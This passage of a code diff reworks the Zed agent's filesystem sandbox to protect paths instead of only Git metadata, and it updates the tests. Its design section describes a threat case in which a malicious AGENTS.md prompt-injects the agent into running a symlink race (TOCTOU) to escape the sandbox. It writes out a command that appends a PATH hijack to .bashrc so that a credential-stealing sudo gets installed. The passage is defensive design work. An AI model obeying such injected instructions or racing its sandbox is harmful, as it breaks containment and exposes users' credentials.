 - disabling any language servers with the capability to run untrusted code
-- not granting git access (since write access to `.git` can similarly be
-  escalated to unsandboxed code execution via `$EDITOR` and various other
-  methods)
+- keeping sensitive project metadata such as `.git` protected, since write
+  access to those paths can be escalated to unsandboxed code execution via hooks,
+  `$EDITOR`, and other mechanisms
 
 ## Implementation
 
@@ -44,6 +44,13 @@ The implementations are highly platform-specific:
 Note that WSL shells can be used on all Windows projects, regardless of whether
 the files are stored in the Linux filesystem or not.
 
+Though not defined in this crate, the default grants provided by the Zed agent is:
+- read-only access to all files
+- read/write access to current project directories
+  - read-only access to any Git metadata, including those in project directories
+- read/write access to an isolated tempdir, cleared between terminals
+  - on MacOS, this is set via the `$TMPDIR` variable and is not at `/tmp`
+
 ## Architecture
 
 Filesystem restrictions are different on all platforms. Network restrictions
@@ -73,26 +80,26 @@ However, this fails because of a nasty TOCTOU.
 Consider the following case:
 - an attacker has convinced the user to open `project`, which contains an evil
   `AGENTS.md`
-- They have also convinced the user to allow git access
+- They have also convinced the user to grant a writable path inside `project`
 - This means that the user will have given the following permissions to the sandbox:
   - read/write access to `project`
-  - read/write access to `project/.git`
+  - read/write access to `project/cache`
   - read/write access to an isolated `/tmp`
   - read-only access to `/`
 - The `AGENTS.md` instructs the LLM to do the following:
   - spawn two subagents
-  - the first subagent tries to swap `project/.git` with a symlink to
-    `/home/alice` [`renameat2(2)`][renameat2] with the `RENAME_EXCHANGE`
+  - the first subagent tries to swap `project/cache` with a symlink to
+    `/home/alice` using [`renameat2(2)`][renameat2] with the `RENAME_EXCHANGE`
     flag set
-  - the second subagent tries to run `echo 'export PATH="proj/obfuscated.../evil_eavesdropping_sudo/bin:$PATH"' >> proj/.git/.bashrc`
+  - the second subagent tries to run `echo 'export PATH="proj/obfuscated.../evil_eavesdropping_sudo/bin:$PATH"' >> proj/cache/.bashrc`
 - The user sends a prompt, we pick up the evil `AGENTS.md` instructions, and the
   agent does them
 - Zed checks whether paths are symlinks outside the allowable paths before
   passing them to bubblewrap, but there is a **time delay** between this check
   and when bubblewrap mounts them.
 - In this delay, the `renameat2` may succeed, which means that:
-  - At check time, `proj/.git` is a subdirectory of `proj`
-  - At bind time, `proj/.git` is a symlink to `/home/alice`
+  - At check time, `proj/cache` is a subdirectory of `proj`
+  - At bind time, `proj/cache` is a symlink to `/home/alice`
 - The attacker is now running code in a sandbox which has **read/write** access
   to `/home/alice`, and so the second command to inject the malicious
   credential-stealing sudo succeeds.
@@ -106,18 +113,18 @@ sequenceDiagram
     participant Zed as Zed path validation
     participant BW as bubblewrap
 
-    Note over Agent: Evil AGENTS.md picked up, git access granted
-    Note over Agent: Grants rw project, rw project/.git, rw /tmp, ro /
-    Agent->>S1: spawn swap project/.git for a symlink to /home/alice
-    Agent->>S2: spawn append PATH hijack to project/.git/.bashrc
-    Zed->>Zed: check project/.git is not an out-of-bounds symlink
+    Note over Agent: Evil AGENTS.md picked up, writable path granted
+    Note over Agent: Grants rw project, rw project/cache, rw /tmp, ro /
+    Agent->>S1: spawn swap project/cache for a symlink to /home/alice
+    Agent->>S2: spawn append PATH hijack to project/cache/.bashrc
+    Zed->>Zed: check project/cache is not an out-of-bounds symlink
     Note over Zed: at check time it is a real subdirectory, so OK
     Note over Zed,BW: time delay, time-of-check to time-of-use
     S1->>S1: renameat2 RENAME_EXCHANGE wins the race
-    Note over S1: project/.git is now a symlink to /home/alice
-    Zed->>BW: bind project/.git into the sandbox
-    BW->>BW: re-resolve project/.git, following symlink to /home/alice
-    S2->>BW: write project/.git/.bashrc
+    Note over S1: project/cache is now a symlink to /home/alice
+    Zed->>BW: bind project/cache into the sandbox
+    BW->>BW: re-resolve project/cache, following symlink to /home/alice
+    S2->>BW: write project/cache/.bashrc
     BW-->>S2: write lands in /home/alice/.bashrc
     Note over S2: escalation, project-scoped grant becomes arbitrary write
 ```
diff --git a/crates/sandbox/src/bwrap_test_helper.rs b/crates/sandbox/src/bwrap_test_helper.rs
index d0aaa29a83726f..f6aa0cb6f29377 100644
--- a/crates/sandbox/src/bwrap_test_helper.rs
+++ b/crates/sandbox/src/bwrap_test_helper.rs
@@ -35,8 +35,8 @@ mod imp {
 
     use anyhow::{Context as _, Result, bail};
     use sandbox::{
-        CommandAndArgs, GitSandboxPolicy, HostFilesystemLocation, Sandbox, SandboxError,
-        SandboxFsPolicy, SandboxNetPolicy, SandboxPolicy,
+        CommandAndArgs, HostFilesystemLocation, Sandbox, SandboxError, SandboxFsPolicy,
+        SandboxNetPolicy, SandboxPolicy,
     };
     use serde::Deserialize;
 
@@ -112,14 +112,9 @@ mod imp {
         network_access: NetMode,
         #[serde(default)]
         allowed_domains: Vec<String>,
-        /// `.git` directories to protect (contents read-only on Linux). Selects a
-        /// `Denied` Git policy. Mutually exclusive with `gitAllowed`.
+        /// Paths to protect from writes even if they fall under a writable path.
         #[serde(default)]
-        git_disabled: Vec<String>,
-        /// `.git` directories to make writable. Selects an `Allowed` Git policy.
-        /// Mutually exclusive with `gitDisabled`.
-        #[serde(default)]
-        git_allowed: Vec<String>,
+        protected_paths: Vec<String>,
 
         // ---- operation (exactly one) ----
         /// Read this host path from inside the sandbox.
@@ -180,7 +175,9 @@ mod imp {
 
     fn policy_of(check: &Check) -> Result<SandboxPolicy> {
         let fs = match check.fs {
-            FsMode::Unrestricted => SandboxFsPolicy::Unrestricted,
+            FsMode::Unrestricted => SandboxFsPolicy::Unrestricted {
+                protected_paths: capture_protected_paths(&check.protected_paths),
+            },
             FsMode::Restricted => {
                 let mut writable_paths = Vec::new();
                 for path in &check.writable_paths {
@@ -194,7 +191,11 @@ mod imp {
                             .with_context(|| format!("failed to capture writable path {path}"))?,
                     );
                 }
-                SandboxFsPolicy::Restricted { writable_paths }
+                let protected_paths = capture_protected_paths(&check.protected_paths);
+                SandboxFsPolicy::Restricted {
+                    writable_paths,
+                    protected_paths,
+                }
             }
         };
         let network = match check.network_access {
@@ -204,29 +205,15 @@ mod imp {
                 allowed_domains: check.allowed_domains.clone(),
             },
         };
-        // `gitAllowed` and `gitDisabled` are mutually exclusive; `gitAllowed`
-        // wins if both are (mistakenly) set. With neither, the default protects
-        // an empty set of dirs, which is a no-op.
-        let git = if !check.git_allowed.is_empty() {
-            GitSandboxPolicy::Allowed {
-                git_dirs: capture_git_dirs(&check.git_allowed),
-            }
-        } else if !check.git_disabled.is_empty() {
-            GitSandboxPolicy::Denied {
-                git_dirs: capture_git_dirs(&check.git_disabled),
-            }
-        } else {
-            GitSandboxPolicy::default()
-        };
-        Ok(SandboxPolicy { fs, network, git })
+        Ok(SandboxPolicy { fs, network })
     }
 
-    /// Capture each already-existing `.git` directory, mirroring production's
-    /// fail-closed `filter_map(HostFilesystemLocation::new(..).ok())`: a `.git`
-    /// that does not yet exist can't be pinned and is simply skipped (the
-    /// documented Linux gap). Unlike writable paths, these are never created
-    /// here — whether one exists is exactly what several checks turn on.
-    fn capture_git_dirs(paths: &[String]) -> Vec<HostFilesystemLocation> {
+    /// Capture each already-existing protected path, mirroring production's
+    /// fail-closed `filter_map(HostFilesystemLocation::new(..).ok())`: a path
+    /// that does not yet exist can't be pinned and is simply skipped. Unlike
+    /// writable paths, these are never created here — whether one exists is
+    /// exactly what several checks turn on.
+    fn capture_protected_paths(paths: &[String]) -> Vec<HostFilesystemLocation> {
         paths
             .iter()
             .filter_map(|path| HostFilesystemLocation::new(path).ok())
@@ -237,14 +224,15 @@ mod imp {
         if let Some(name) = &check.name {
             return name.clone();
         }
-        let git = if !check.git_allowed.is_empty() {
-            format!(",git_allowed={:?}", check.git_allowed)
-        } else if !check.git_disabled.is_empty() {
-            format!(",git_disabled={:?}", check.git_disabled)
-        } else {
+        let protected = if check.protected_paths.is_empty() {
             String::new()
+        } else {
+            format!(",protected_paths={:?}", check.protected_paths)
         };
-        let policy = format!("fs={:?},net={:?}{git}", check.fs, check.network_access);
+        let policy = format!(
+            "fs={:?},net={:?}{protected}",
+            check.fs, check.network_access
+        );
         let op = if let Some(path) = &check.read {
             format!("read {path}")
         } else if let Some(path) = &check.write {
@@ -329,7 +317,7 @@ mod imp {
         if let Some(parent) = path.parent() {
             // Create the parent on the host so the only thing under test is the
             // sandbox's write permission, not a missing directory. This also
-            // makes a `.git` parent exist before the policy captures it.
+            // makes a protected parent exist before the policy captures it.
             std::fs::create_dir_all(parent)
                 .with_context(|| format!("failed to create parent of {}", path.display()))?;
         }
diff --git a/crates/sandbox/src/linux_bubblewrap.rs b/crates/sandbox/src/linux_bubblewrap.rs
index 18e445e02babeb..21a4602523bffe 100644
--- a/crates/sandbox/src/linux_bubblewrap.rs
+++ b/crates/sandbox/src/linux_bubblewrap.rs
@@ -221,7 +221,7 @@ fn probe_bwrap(bwrap: &Path, bwrap_args: &[String]) -> bool {
 /// the sandbox where the bridge connects to it.
 pub fn build_bwrap_args(
     writable_directories: &[&Path],
-    protected_git_dirs: &[&Path],
+    protected_paths: &[&Path],
     permissions: SandboxPermissions,
     cwd: Option<&Path>,
     proxy_socket_path: Option<&Path>,
@@ -231,7 +231,7 @@ pub fn build_bwrap_args(
         .map(|_| unique_proxy_socket_sandbox_path());
     build_bwrap_args_with_sandbox_paths(
         writable_directories,
-        protected_git_dirs,
+        protected_paths,
         permissions,
         cwd,
         proxy_socket_path,
@@ -247,7 +247,7 @@ pub fn build_bwrap_args(
 )]
 fn build_bwrap_args_with_sandbox_paths(
     writable_directories: &[&Path],
-    protected_git_dirs: &[&Path],
+    protected_paths: &[&Path],
     permissions: SandboxPermissions,
     cwd: Option<&Path>,
     proxy_socket_path: Option<&Path>,
@@ -290,24 +290,19 @@ fn build_bwrap_args_with_sandbox_paths(
             let path = directory.to_string_lossy().into_owned();
             push_bind(&mut args, "--bind", &path, &path);
         }
+    }
 
-        // Protect Git directories by re-binding them read-only *over* the rw
-        // worktree binds above (order matters: later binds win). Unlike
-        // Seatbelt, bwrap can't deny content reads while keeping metadata, so on
-        // Linux a protected `.git` is read-only — its contents stay readable but
-        // can't be written. A read-only re-bind needs no TOCTOU check: the whole
-        // root is already read-only, so re-exposing a path read-only grants
-        // nothing new even if its source was swapped. A not-yet-existing `.git`
-        // can't be bound, so it's skipped (a documented gap vs. macOS). When Git
-        // access is granted these dirs are in `writable_directories` instead and
-        // this list is empty.
-        for git_dir in protected_git_dirs {
-            if !git_dir.exists() {
-                continue;
-            }
-            let path = git_dir.to_string_lossy().into_owned();
-            push_bind(&mut args, "--ro-bind", &path, &path);
+    // Protect requested paths by re-binding them read-only *over* any broader rw
+    // bind (order matters: later binds win). Unlike Seatbelt, bwrap can't deny
+    // writes while allowing content reads with a policy rule, so a protected path
+    // is read-only — its contents stay readable but can't be written. A
+    // not-yet-existing path can't be bound, so it's skipped.
+    for protected_path in protected_paths {
+        if !protected_path.exists() {
+            continue;
         }
+        let path = protected_path.to_string_lossy().into_owned();
+        push_bind(&mut args, "--ro-bind", &path, &path);
     }
 
     for flag in [
@@ -595,7 +590,7 @@ pub fn wrap_invocation(
     bridge_program: &str,
     permissions: SandboxPermissions,
     writable_dirs: &[&Path],
-    protected_git_dirs: &[&Path],
+    protected_paths: &[&Path],
     cwd: Option<&Path>,
     program: &str,
     args: &[String],
@@ -637,7 +632,7 @@ pub fn wrap_invocation(
     };
     let mut bwrap_args = build_bwrap_args_with_sandbox_paths(
         writable_dirs,
-        protected_git_dirs,
+        protected_paths,
         permissions,
         cwd,
         proxy_socket_path,
@@ -1394,9 +1389,11 @@ mod tests {
             network: NetworkAccess::None,
             allow_fs_write: true,
         };
-        let args = build_bwrap_args(&[], &[], permissions, None, None);
+        let protected = Path::new("/tmp");
+        let args = build_bwrap_args(&[], &[protected], permissions, None, None);
         assert!(windows_contains(&args, &["--bind", "/", "/"]));
         assert!(!windows_contains(&args, &["--ro-bind", "/", "/"]));
+        assert!(windows_contains(&args, &["--ro-bind", "/tmp", "/tmp"]));
         assert!(!windows_contains(&args, &["--tmpfs", "/tmp"]));
     }
 
diff --git a/crates/sandbox/src/macos_seatbelt.rs b/crates/sandbox/src/macos_seatbelt.rs
index 91efe4467fe995..17a2db9928ed5c 100644
--- a/crates/sandbox/src/macos_seatbelt.rs
+++ b/crates/sandbox/src/macos_seatbelt.rs
@@ -88,9 +88,8 @@ impl SeatbeltConfigFile {
     /// directory of the command, since that is model-controlled and would
     /// let the model widen its own writable scope.
     ///
-    /// `protected_paths` lists paths whose file data reads and writes should
-    /// be blocked even if they fall under a readable or writable directory.
-    /// File metadata remains readable.
+    /// `protected_paths` lists paths whose writes should be blocked even if they
+    /// fall under a writable directory. Contents remain readable.
     ///
     /// `allowed_unix_socket_paths` lists Unix domain sockets the command may
     /// connect to for local IPC even when IP network access is otherwise
@@ -138,9 +137,8 @@ impl SeatbeltConfigFile {
 ///   the project's worktree paths here, not the working directory of the
 ///   command (the working directory is model-controlled, and using it as
 ///   the writable scope would let the model write outside the project).
-/// * `protected_paths` - Paths whose file data reads and writes should be
-///   denied even if they fall under a readable or writable directory. File
-///   metadata remains readable.
+/// * `protected_paths` - Paths whose writes should be denied even if they fall
+///   under a writable directory. Contents remain readable.
 /// * `allowed_unix_socket_paths` - Unix domain sockets the command may
 ///   connect to for local IPC even when IP network access is otherwise
 ///   disabled. This does not permit sending packets to other machines.
@@ -191,9 +189,8 @@ pub fn wrap_invocation(
 /// Writes to each entry in `writable_directories` (typically the project's
 /// worktree paths plus any per-command scratch directory the caller wants
 /// allowed) and the standard `/dev/*` write targets are also allowed by
-/// default. File data reads and writes to paths in `protected_paths` are
-/// denied even when they would otherwise be readable or writable; file
-/// metadata remains readable. Unix domain socket paths in
+/// default. Writes to paths in `protected_paths` are denied even when they
+/// would otherwise be writable; contents remain readable. Unix domain socket paths in
 /// `allowed_unix_socket_paths` are reachable for local IPC even when IP
 /// network access is otherwise blocked. This does not permit sending packets
 /// to other machines.
@@ -211,7 +208,7 @@ fn generate_seatbelt_config(
 ) -> Result<String> {
     // These paths are already the canonical identities captured once, at
     // validation time, inside each `HostFilesystemLocation` (resolving symlinks
-    // and, for a not-yet-created `.git`, its existing parent). We deliberately do
+    // and, for a not-yet-created leaf, its existing parent). We deliberately do
     // NOT re-canonicalize here: re-resolving a path at profile-generation time
     // is the time-of-check-to-time-of-use hole this design closes. Use them
     // verbatim as Seatbelt rule literals.
@@ -311,12 +308,11 @@ fn generate_seatbelt_config(
     for protected_path in &canonical_protected_paths {
         let escaped_path = escape_sandbox_path(protected_path)?;
         // `subpath` already matches the path itself plus everything beneath it,
-        // so it covers both a `.git` directory and a linked worktree's `.git`
-        // gitlink file without a redundant `literal` rule.
+        // so no redundant `literal` rule is needed.
         config.push_str(&format!(
             r#"
-; Block Git metadata content access unless Git access is approved
-(deny file-read-data file-write*
+; Block protected path writes
+(deny file-write*
     (subpath "{escaped_path}"))
 "#
         ));
@@ -540,7 +536,7 @@ mod tests {
     }
 
     #[test]
-    fn test_generate_seatbelt_config_denies_protected_path_data_and_writes() {
+    fn test_generate_seatbelt_config_denies_protected_path_writes() {
         let dir = PathBuf::from("/Users/test/projects/myproject");
         let protected = dir.join(".gitignore");
         let config = generate_seatbelt_config(
@@ -551,14 +547,15 @@ mod tests {
         )
         .unwrap();
 
-        assert!(config.contains("(deny file-read-data file-write*"));
+        assert!(config.contains("(deny file-write*"));
+        assert!(!config.contains("file-read-data"));
         assert!(config.contains("(subpath \"/Users/test/projects/myproject/.gitignore\")"));
         // `subpath` already covers the path itself, so no redundant `literal`.
         assert!(!config.contains("(literal \"/Users/test/projects/myproject/.gitignore\")"));
     }
 
     #[test]
-    fn test_sandbox_blocks_protected_path_contents_but_allows_metadata() {
+    fn test_sandbox_allows_protected_path_reads_but_blocks_writes() {
         use std::process::Command;
 
         let temp_dir = tempfile::tempdir().unwrap();
@@ -574,7 +571,7 @@ mod tests {
             &[
                 "-c".to_string(),
                 format!(
-                    "test -e '{}' && ! cat '{}' >/dev/null 2>&1 && ! sh -c 'echo changed > {}'",
+                    "test -e '{}' && cat '{}' >/dev/null 2>&1 && ! sh -c 'echo changed > {}'",
                     protected_file.display(),
                     protected_file.display(),
                     protected_file.display(),
@@ -594,7 +591,7 @@ mod tests {
 
         assert!(
             output.status.success(),
-            "sandbox should allow metadata but deny protected data reads and writes: stderr={} stdout={}",
+            "sandbox should allow protected reads but deny protected writes: stderr={} stdout={}",
             String::from_utf8_lossy(&output.stderr),
             String::from_utf8_lossy(&output.stdout),
         );
@@ -620,7 +617,7 @@ mod tests {
             &[
                 "-c".to_string(),
                 format!(
-                    "! cat '{}' >/dev/null 2>&1 && ! sh -c 'echo changed > {}'",
+                    "cat '{}' >/dev/null 2>&1 && ! sh -c 'echo changed > {}'",
                     protected_file.display(),
                     protected_file.display(),
                 ),
@@ -642,7 +639,7 @@ mod tests {
 
         assert!(
             output.status.success(),
-            "protected paths should stay blocked even with unrestricted writes: stderr={} stdout={}",
+            "protected paths should stay readable but not writable even with unrestricted writes: stderr={} stdout={}",
             String::from_utf8_lossy(&output.stderr),
             String::from_utf8_lossy(&output.stdout),
         );
diff --git a/crates/sandbox/src/sandbox.rs b/crates/sandbox/src/sandbox.rs
index 4873c46ed514b9..067a4c50c1a5fd 100644
--- a/crates/sandbox/src/sandbox.rs
+++ b/crates/sandbox/src/sandbox.rs
@@ -16,6 +16,8 @@ use std::{
 use http_proxy::ProxyHandle;
 #[cfg(not(target_os = "windows"))]
 use http_proxy::{Allowlist, HostPattern, ProxyConfig, ProxyEvent, UpstreamProxy};
+#[cfg(target_os = "linux")]
+use std::os::fd::AsRawFd as _;
 
 #[cfg(target_os = "linux")]
 mod linux_bubblewrap;
@@ -30,7 +32,7 @@ mod windows_wsl;
 pub(crate) const WSL_SANDBOX_UNAVAILABLE_PREFIX: &str = "Windows sandboxing via WSL is unavailable";
 
 /// An opaque handle to a location on the **host** filesystem the sandbox may
-/// grant access to (a writable subtree, a `.git` directory, …).
+/// grant access to or protect (for example, a writable or protected subtree).
 ///
 /// The entire purpose of this type is to capture the *security-relevant identity*
 /// of a host location once, up front, in a form the enforcement layer can use
@@ -83,7 +85,7 @@ impl HostFilesystemLocation {
     /// On macOS this canonicalizes the path; on Linux it opens an `O_PATH`
     /// descriptor to it; on Windows it records nothing. The caller is
     /// responsible for having already *validated* `path` (e.g. confirmed it is
-    /// inside the project, or that a `.git` is not a symlink) — capturing it here
+    /// inside the project, or safe to treat as a protected path) — capturing it here
     /// pins that decision against later tampering. To be race-free, capture
     /// should happen as part of, or immediately after, that validation, and the
     /// resulting value should be passed around unchanged from then on (never
@@ -95,8 +97,8 @@ impl HostFilesystemLocation {
         #[cfg(target_os = "macos")]
         {
             // `canonicalize_allowing_missing_leaf` resolves through the existing
-            // parent so a not-yet-created leaf (e.g. a `.git` before `git init`)
-            // still yields the real path Seatbelt will match against.
+            // parent so a not-yet-created leaf still yields the real path
+            // Seatbelt will match against.
             let canonical_path = canonicalize_allowing_missing_leaf(path);
             Ok(Self {
                 canonical_path,
@@ -196,7 +198,10 @@ impl PartialEq for HostFilesystemLocation {
     fn eq(&self, other: &Self) -> bool {
         #[cfg(target_os = "linux")]
         {
-            match (linux_fd_identity(&self.fd), linux_fd_identity(&other.fd)) {
+            match (
+                linux_fd_identity(self.fd.as_raw_fd()),
+                linux_fd_identity(other.fd.as_raw_fd()),
+            ) {
                 (Some(a), Some(b)) => a == b,
                 // An `fstat` on an `O_PATH` fd we own should never fail; if it
                 // somehow does we can't prove identity, so report "not equal"
@@ -230,9 +235,8 @@ impl Eq for HostFilesystemLocation {}
 /// The `(device, inode)` pair behind an `O_PATH` descriptor, used to decide
 /// whether two [`HostFilesystemLocation`]s refer to the same filesystem object.
 #[cfg(target_os = "linux")]
-fn linux_fd_identity(fd: &std::os::fd::OwnedFd) -> Option<(u64, u64)> {
-    use std::os::fd::AsRawFd as _;
-    let stat = nix::sys::stat::fstat(fd.as_raw_fd()).ok()?;
+fn linux_fd_identity(fd: std::os::fd::RawFd) -> Option<(u64, u64)> {
+    let stat = nix::sys::stat::fstat(fd).ok()?;
     Some((stat.st_dev as u64, stat.st_ino as u64))
 }
 
@@ -279,20 +283,23 @@ impl From<PathBuf> for SandboxFilesystemLocation {
 pub struct SandboxPolicy {
     pub fs: SandboxFsPolicy,
     pub network: SandboxNetPolicy,
-    pub git: GitSandboxPolicy,
 }
 
 /// Filesystem policy for a sandboxed command.
 #[derive(Clone, Debug, Eq, PartialEq)]
 pub enum SandboxFsPolicy {
-    /// Allow unrestricted filesystem writes.
-    Unrestricted,
+    /// Allow unrestricted filesystem writes except for protected paths, which
+    /// remain readable but not writable.
+    Unrestricted {
+        protected_paths: Vec<HostFilesystemLocation>,
+    },
     /// Reads are allowed everywhere; writes are confined to these locations
     /// (and the standard ephemeral locations the platform provides). Each is a
     /// [`HostFilesystemLocation`] captured at validation time, never a bare path
     /// the enforcement layer would re-resolve.
     Restricted {
         writable_paths: Vec<HostFilesystemLocation>,
+        protected_paths: Vec<HostFilesystemLocation>,
     },
 }
 
@@ -308,94 +315,148 @@ pub enum SandboxNetPolicy {
     Restricted { allowed_domains: Vec<String> },
 }
 
-/// Policy for the project's Git directories (`.git`). The agent computes the
-/// directory list because locating it requires Git knowledge the sandbox layer
-/// can't derive itself — a linked worktree's `.git` is a gitlink pointing at a
-/// common dir elsewhere, and discovered repositories can live outside the
-/// project. Both variants carry the same dirs; the variant selects how they're
-/// treated.
-#[derive(Clone, Debug, Eq, PartialEq)]
-pub enum GitSandboxPolicy {
-    /// `.git` contents are protected: read-only on Linux and Windows/WSL;
-    /// content reads and writes denied on macOS (metadata stays visible either
-    /// way).
-    Denied {
-        git_dirs: Vec<HostFilesystemLocation>,
-    },
-    /// `.git` contents are writable (these dirs are made writable).
-    Allowed {
-        git_dirs: Vec<HostFilesystemLocation>,
-    },
-}
+/// Host paths that should remain readable but not writable, even when they fall
+/// under a writable subtree.
+///
+/// The caller computes this list because the sandbox layer does not know which
+/// application-specific paths need stronger protection.
+pub type ProtectedPaths = Vec<HostFilesystemLocation>;
 
-impl Default for GitSandboxPolicy {
-    /// Git directories protected, none known — the safe default.
-    fn default() -> Self {
-        GitSandboxPolicy::Denied {
-            git_dirs: Vec::new(),
+impl SandboxPolicy {
+    /// Combine two policy layers. Filesystem/network grants are unioned into the
+    /// least-restrictive policy that satisfies both layers, while protected paths
+    /// within restricted filesystem policies are unioned so every layer's
+    /// protected subtrees remain protected.
+    pub fn merge(self, other: SandboxPolicy) -> SandboxPolicy {
+        SandboxPolicy {
+            fs: self.fs.merge(other.fs),
+            network: self.network.merge(other.network),
         }
     }
-}
 
-impl GitSandboxPolicy {
-    /// The `.git` directories this policy governs, regardless of variant.
-    pub fn git_dirs(&self) -> &[HostFilesystemLocation] {
-        match self {
-            GitSandboxPolicy::Denied { git_dirs } | GitSandboxPolicy::Allowed { git_dirs } => {
-                git_dirs
+    /// Replace the protected paths in the filesystem policy, keeping writable
+    /// paths and network policy unchanged.
+    pub fn with_protected_paths(mut self, protected_paths: Vec<HostFilesystemLocation>) -> Self {
+        match &mut self.fs {
+            SandboxFsPolicy::Unrestricted {
+                protected_paths: existing,
             }
+            | SandboxFsPolicy::Restricted {
+                protected_paths: existing,
+                ..
+            } => *existing = protected_paths,
         }
+        self
     }
+}
 
-    /// Whether `.git` contents are writable.
-    pub fn allows_writes(&self) -> bool {
-        matches!(self, GitSandboxPolicy::Allowed { .. })
+fn merge_locations(
+    mut locations: Vec<HostFilesystemLocation>,
+    other: Vec<HostFilesystemLocation>,
+) -> Vec<HostFilesystemLocation> {
+    for location in other {
+        if !locations.contains(&location) {
+            locations.push(location);
+        }
     }
+    locations
+}
 
-    /// Combine two layers: `Allowed` (more permissive) wins, and the governed
-    /// `.git` directories union.
-    pub fn merge(self, other: GitSandboxPolicy) -> GitSandboxPolicy {
-        let allowed = self.allows_writes() || other.allows_writes();
-        let (GitSandboxPolicy::Denied { mut git_dirs }
-        | GitSandboxPolicy::Allowed { mut git_dirs }) = self;
-        let (GitSandboxPolicy::Denied {
-            git_dirs: other_dirs,
-        }
-        | GitSandboxPolicy::Allowed {
-            git_dirs: other_dirs,
-        }) = other;
-        for path in other_dirs {
-            if !git_dirs.contains(&path) {
-                git_dirs.push(path);
+fn validate_writable_paths_do_not_overlap_protected_paths(
+    writable_paths: &[HostFilesystemLocation],
+    protected_paths: &[HostFilesystemLocation],
+) -> Result<(), SandboxError> {
+    for writable_path in writable_paths {
+        for protected_path in protected_paths {
+            if writable_path_overlaps_protected_path(writable_path, protected_path) {
+                return Err(SandboxError::InvalidRequest(format!(
+                    "writable sandbox path `{}` overlaps protected path `{}`",
+                    writable_path.untrusted_path_display(),
+                    protected_path.untrusted_path_display()
+                )));
             }
         }
-        if allowed {
-            GitSandboxPolicy::Allowed { git_dirs }
-        } else {
-            GitSandboxPolicy::Denied { git_dirs }
-        }
     }
+    Ok(())
 }
 
-impl SandboxPolicy {
-    /// Combine two policies into the least-restrictive policy that satisfies
-    /// both (a set union per dimension). Used to layer the user's persistent
-    /// settings, this thread's grants, and a command's request into the single
-    /// policy that is actually enforced.
-    pub fn merge(self, other: SandboxPolicy) -> SandboxPolicy {
-        SandboxPolicy {
-            fs: self.fs.merge(other.fs),
-            network: self.network.merge(other.network),
-            git: self.git.merge(other.git),
-        }
+#[cfg(target_os = "linux")]
+fn writable_path_overlaps_protected_path(
+    writable_path: &HostFilesystemLocation,
+    protected_path: &HostFilesystemLocation,
+) -> bool {
+    linux_location_is_equal_or_descendant(writable_path, protected_path)
+}
+
+#[cfg(target_os = "macos")]
+fn writable_path_overlaps_protected_path(
+    writable_path: &HostFilesystemLocation,
+    protected_path: &HostFilesystemLocation,
+) -> bool {
+    writable_path
+        .macos_canonical_path()
+        .starts_with(protected_path.macos_canonical_path())
+}
+
+#[cfg(not(any(target_os = "linux", target_os = "macos")))]
+fn writable_path_overlaps_protected_path(
+    writable_path: &HostFilesystemLocation,
+    protected_path: &HostFilesystemLocation,
+) -> bool {
+    writable_path
+        .untrusted_path_for_display
+        .starts_with(&protected_path.untrusted_path_for_display)
+}
+
+#[cfg(target_os = "linux")]
+fn linux_location_is_equal_or_descendant(
+    location: &HostFilesystemLocation,
+    ancestor: &HostFilesystemLocation,
+) -> bool {
+    use std::os::fd::{AsRawFd as _, FromRawFd as _, OwnedFd};
+
+    if location == ancestor {
+        return true;
     }
 
-    /// Replace the Git policy, keeping the fs/network policy. The UI builds the
-    /// fs/network halves from settings/grants (which don't know the project's
-    /// `.git` locations) and then attaches the agent-computed Git policy here.
-    pub fn with_git(mut self, git: GitSandboxPolicy) -> Self {
-        self.git = git;
-        self
+    let Ok(mut current) = location.linux_dup_fd() else {
+        log::warn!("failed to duplicate sandbox location fd while checking protected path overlap");
+        return false;
+    };
+
+    loop {
+        let parent = unsafe {
+            let fd = libc::openat(
+                current.as_raw_fd(),
+                c"..".as_ptr(),
+                libc::O_PATH | libc::O_DIRECTORY | libc::O_CLOEXEC,
+            );
+            if fd < 0 {
+                return false;
+            }
+            OwnedFd::from_raw_fd(fd)
+        };
+
+        let Some(parent_identity) = linux_fd_identity(parent.as_raw_fd()) else {
+            log::warn!("failed to fstat parent fd while checking protected path overlap");
+            return false;
+        };
+        let Some(current_identity) = linux_fd_identity(current.as_raw_fd()) else {
+            log::warn!("failed to fstat current fd while checking protected path overlap");
+            return false;
+        };
+        let Some(ancestor_identity) = linux_fd_identity(ancestor.linux_fd().as_raw_fd()) else {
+            log::warn!("failed to fstat protected fd while checking protected path overlap");
+            return false;
+        };
+
+        if parent_identity == ancestor_identity {
+            return true;
+        }
+        if parent_identity == current_identity {
+            return false;
+        }
+        current = parent;
     }
 }
 
@@ -403,22 +464,49 @@ impl SandboxFsPolicy {
     /// Unrestricted access dominates; otherwise the writable subtrees union.
     pub fn merge(self, other: SandboxFsPolicy) -> SandboxFsPolicy {
         match (self, other) {
-            (SandboxFsPolicy::Unrestricted, _) | (_, SandboxFsPolicy::Unrestricted) => {
-                SandboxFsPolicy::Unrestricted
-            }
             (
+                SandboxFsPolicy::Unrestricted {
+                    protected_paths: protected_a,
+                },
+                SandboxFsPolicy::Unrestricted {
+                    protected_paths: protected_b,
+                },
+            ) => SandboxFsPolicy::Unrestricted {
+                protected_paths: merge_locations(protected_a, protected_b),
+            },
+            (
+                SandboxFsPolicy::Unrestricted {
+                    protected_paths: protected_a,
+                },
                 SandboxFsPolicy::Restricted {
-                    writable_paths: mut a,
+                    protected_paths: protected_b,
+                    ..
                 },
-                SandboxFsPolicy::Restricted { writable_paths: b },
-            ) => {
-                for path in b {
-                    if !a.contains(&path) {
-                        a.push(path);
-                    }
-                }
-                SandboxFsPolicy::Restricted { writable_paths: a }
-            }
+            )
+            | (
+                SandboxFsPolicy::Restricted {
+                    protected_paths: protected_a,
+                    ..
+                },
+                SandboxFsPolicy::Unrestricted {
+                    protected_paths: protected_b,
+                },
+            ) => SandboxFsPolicy::Unrestricted {
+                protected_paths: merge_locations(protected_a, protected_b),
+            },
+            (
+                SandboxFsPolicy::Restricted {
+                    writable_paths: writable_a,
+                    protected_paths: protected_a,
+                },
+                SandboxFsPolicy::Restricted {
+                    writable_paths: writable_b,
+                    protected_paths: protected_b,
+                },
+            ) => SandboxFsPolicy::Restricted {
+                writable_paths: merge_locations(writable_a, writable_b),
+                protected_paths: merge_locations(protected_a, protected_b),
+            },
         }
     }
 }
@@ -537,6 +625,7 @@ impl std::error::Error for SandboxError {}
 struct FsSetup {
     allow_fs_write: bool,
     writable_paths: Vec<HostFilesystemLocation>,
+    protected_paths: Vec<HostFilesystemLocation>,
 }
 
 /// Resolved network plan derived from [`SandboxNetPolicy`]. For the restricted
@@ -563,8 +652,6 @@ enum NetSetup {
 pub struct Sandbox {
     fs: FsSetup,
